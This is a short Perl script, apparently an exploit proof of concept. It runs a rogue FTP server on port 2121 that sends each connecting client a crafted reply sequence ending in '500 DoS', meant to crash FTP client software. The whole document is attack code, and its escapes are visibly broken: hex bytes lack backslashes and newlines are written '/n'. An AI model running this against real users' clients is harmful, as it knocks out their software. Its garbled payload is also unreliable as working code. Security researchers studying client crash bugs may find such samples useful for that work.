#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"x32x32x30x20x5ax0dx0ax33".
"x33x31x20x5ax0dx0ax35x30".
"x30x20x44x6fx53x0dx0ax35".
"x30x30x20x5ax0dx0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:
$!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock:
$!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@x0localhost:2121/n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
# find out who connected
my ($client_port, $client_ip) = sockaddr_in($client_addr);
my $client_ipnum = inet_ntoa($client_ip);
my $client_host = gethostbyaddr($client_ip, AF_INET);
print ": $client_host", "[$client_ipnum]n";
# send them a message, close connection
print CLIENT $payload;
close CLIENT;
}